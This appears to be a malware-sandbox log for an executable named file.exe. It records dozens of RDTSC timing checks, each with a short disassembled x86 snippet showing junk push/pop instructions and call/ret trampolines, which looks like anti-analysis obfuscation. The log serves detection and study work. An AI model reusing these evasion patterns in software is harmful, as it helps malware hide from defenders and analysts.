Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141BEFF second address: 141BF0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C9F9 second address: 141C9FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141BF0B second address: 141BF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBF2D4D1A49h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141CC5F second address: 141CC64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C9FE second address: 141CA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141CC64 second address: 141CC69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141DFB3 second address: 141DFB9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141DFB9 second address: 141DFBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1422C2F second address: 1422C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141DFBF second address: 141DFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1422C33 second address: 1422C5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jbe 00007FBF2D4D1A3Ah 0x0000000e jnl 00007FBF2D4D1A3Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007FBF2D4D1A36h 0x0000001c jbe 00007FBF2D4D1A36h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420E41 second address: 1420E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D622A second address: 13D6230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142332D second address: 1423339 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423339 second address: 142333F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142347A second address: 142347F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14244E5 second address: 14244EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14268CE second address: 14268D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142781C second address: 1427873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 xor dword ptr [ebp+122D1BF7h], ecx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FBF2D4D1A38h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b xor di, 390Ch 0x00000030 push 00000000h 0x00000032 add dword ptr [ebp+122D1DE9h], esi 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b jnp 00007FBF2D4D1A49h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426B17 second address: 1426B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1427873 second address: 1427899 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FBF2D4D1A49h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1427899 second address: 14278A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14278A2 second address: 14278A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429A85 second address: 1429A8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428BDE second address: 1428BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428BE2 second address: 1428BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1428BE6 second address: 1428C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FBF2D4D1A38h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov ebx, edx 0x00000026 push dword ptr fs:[00000000h] 0x0000002d mov dword ptr [ebp+122D34A0h], ecx 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a jc 00007FBF2D4D1A52h 0x00000040 jns 00007FBF2D4D1A4Ch 0x00000046 xor bx, FFE1h 0x0000004b mov eax, dword ptr [ebp+122D0A7Dh] 0x00000051 movsx ebx, bx 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push eax 0x00000059 call 00007FBF2D4D1A38h 0x0000005e pop eax 0x0000005f mov dword ptr [esp+04h], eax 0x00000063 add dword ptr [esp+04h], 0000001Ch 0x0000006b inc eax 0x0000006c push eax 0x0000006d ret 0x0000006e pop eax 0x0000006f ret 0x00000070 jmp 00007FBF2D4D1A3Fh 0x00000075 push eax 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 jnc 00007FBF2D4D1A36h 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142ABA3 second address: 142AC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007FBF2CC641E8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 mov dword ptr [ebp+12463080h], edi 0x00000027 push 00000000h 0x00000029 xor edi, dword ptr [ebp+122D5615h] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007FBF2CC641E8h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007FBF2CC641F0h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BC53 second address: 142BC57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BC57 second address: 142BC5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BC5B second address: 142BCAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D34B8h], esi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007FBF2D4D1A38h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 or dword ptr [ebp+12455CC7h], esi 0x00000037 mov edi, dword ptr [ebp+122D324Dh] 0x0000003d push 00000000h 0x0000003f or ebx, dword ptr [ebp+122D31CDh] 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jng 00007FBF2D4D1A36h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BCAD second address: 142BCB7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBF2CC641E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BCB7 second address: 142BCBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BCBD second address: 142BCC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142BCC1 second address: 142BCC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142EA95 second address: 142EAA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF2CC641ECh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142EAA6 second address: 142EB2E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FBF2D4D1A38h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007FBF2D4D1A38h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 mov ebx, dword ptr [ebp+122D3455h] 0x00000047 push 00000000h 0x00000049 mov edi, dword ptr [ebp+122D38A2h] 0x0000004f xchg eax, esi 0x00000050 jbe 00007FBF2D4D1A50h 0x00000056 jp 00007FBF2D4D1A4Ah 0x0000005c push eax 0x0000005d jc 00007FBF2D4D1A40h 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142FAEC second address: 142FB02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2CC641F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142FD4A second address: 142FD70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007FBF2D4D1A44h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142FD70 second address: 142FD74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431E31 second address: 1431E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1438EFC second address: 1438F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1438F00 second address: 1438F0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1438F0B second address: 1438F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB153 second address: 13DB163 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBF2D4D1A36h 0x00000008 js 00007FBF2D4D1A36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB163 second address: 13DB169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB169 second address: 13DB16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB16D second address: 13DB173 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BDB6 second address: 143BDBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BDBA second address: 143BDC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BDC2 second address: 143BDD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A3Ah 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BDD1 second address: 143BDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C06B second address: 143C081 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A42h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C081 second address: 143C091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FBF2CC641E6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C091 second address: 143C09C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14411E8 second address: 14411ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14412A0 second address: 14412AA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBF2D4D1A3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14426A1 second address: 14426C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBF2CC641E6h 0x0000000a jno 00007FBF2CC641E6h 0x00000010 jmp 00007FBF2CC641EFh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14495A2 second address: 14495A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14495A8 second address: 14495AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14495AC second address: 14495B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14499B4 second address: 14499BE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF2CC641E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144DD92 second address: 144DD9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416A41 second address: 1416A5E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBF2CC641E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBF2CC641EDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416A5E second address: 1416A82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBF2D4D1A47h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416A82 second address: 1416A89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416A89 second address: 1416AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jns 00007FBF2D4D1A4Bh 0x0000000f jmp 00007FBF2D4D1A45h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416AB6 second address: 1416ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416C13 second address: 1416C1D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBF2D4D1A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416C1D second address: 1416C27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FBF2CC641E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416C27 second address: 1416C35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416C35 second address: 1416C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416C39 second address: 1416C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FBF2D4D1A38h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 nop 0x00000023 push eax 0x00000024 push edx 0x00000025 jnp 00007FBF2D4D1A38h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416EF5 second address: 1416EF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416EF9 second address: 1416F0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000004h 0x0000000b movzx edx, di 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416F0D second address: 1416F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1416F11 second address: 1416F1E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBF2D4D1A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14173F1 second address: 14173F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14173F7 second address: 14173FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417537 second address: 141753E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141753E second address: 1417543 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417770 second address: 1417820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dx, BEA5h 0x0000000e lea eax, dword ptr [ebp+12488189h] 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007FBF2CC641E8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e nop 0x0000002f push edi 0x00000030 jmp 00007FBF2CC641F5h 0x00000035 pop edi 0x00000036 push eax 0x00000037 jmp 00007FBF2CC641F8h 0x0000003c nop 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 call 00007FBF2CC641E8h 0x00000045 pop ebx 0x00000046 mov dword ptr [esp+04h], ebx 0x0000004a add dword ptr [esp+04h], 00000016h 0x00000052 inc ebx 0x00000053 push ebx 0x00000054 ret 0x00000055 pop ebx 0x00000056 ret 0x00000057 lea eax, dword ptr [ebp+12488145h] 0x0000005d sbb edi, 43D475D1h 0x00000063 nop 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007FBF2CC641F9h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417820 second address: 141784D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF2D4D1A41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FBF2D4D1A41h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141784D second address: 1417852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E073 second address: 144E07B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
